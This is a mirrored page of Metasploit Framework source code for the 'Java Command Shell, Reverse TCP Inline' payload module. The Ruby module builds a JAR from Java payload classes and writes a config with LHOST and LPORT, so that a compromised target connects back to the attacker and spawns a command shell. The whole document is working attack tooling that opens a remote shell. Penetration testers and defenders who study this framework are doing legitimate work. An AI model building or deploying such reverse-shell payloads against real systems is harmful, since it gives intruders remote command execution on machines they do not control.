Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/java/shell_reverse_tcp.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 7497
8
9
include Msf::Payload::Single
10
include Msf::Payload::Java
11
include Msf::Sessions::CommandShellOptions
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'Java Command Shell, Reverse TCP Inline',
18
'Description' => 'Connect back to attacker and spawn a command shell',
19
'Author' => ['mihi', 'egypt'],
20
'License' => MSF_LICENSE,
21
'Platform' => ['java'],
22
'Arch' => ARCH_JAVA,
23
'Handler' => Msf::Handler::ReverseTcp,
24
'Session' => Msf::Sessions::CommandShell,
25
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
26
)
27
)
28
end
29
30
def generate_jar(opts = {})
31
jar = Rex::Zip::Jar.new
32
jar.add_sub('metasploit') if opts[:random]
33
class_files.each do |path|
34
1.upto(path.length - 1) do |idx|
35
full = path[0, idx].join('/') + '/'
36
if !jar.entries.map(&:name).include?(full)
37
jar.add_file(full, '')
38
end
39
end
40
data = MetasploitPayloads.read('java', path)
41
jar.add_file(path.join('/'), data)
42
end
43
jar.build_manifest(main_class: 'metasploit.Payload')
44
jar.add_file('metasploit.dat', stager_config(opts))
45
46
jar
47
end
48
49
def stager_config(opts = {})
50
ds = opts[:datastore] || datastore
51
c = ''
52
c << "LHOST=#{ds['LHOST']}\n" if ds['LHOST']
53
c << "LPORT=#{ds['LPORT']}\n" if ds['LPORT']
54
# Magical, means use stdin/stdout. Used for debugging
55
# c << "LPORT=0\n"
56
c << "EmbeddedStage=Shell\n"
57
58
c
59
end
60
61
def class_files
62
[
63
['metasploit', 'Payload.class'],
64
['javapayload', 'stage', 'Stage.class'],
65
['javapayload', 'stage', 'StreamForwarder.class'],
66
['javapayload', 'stage', 'Shell.class'],
67
]
68
end
69
end
70
71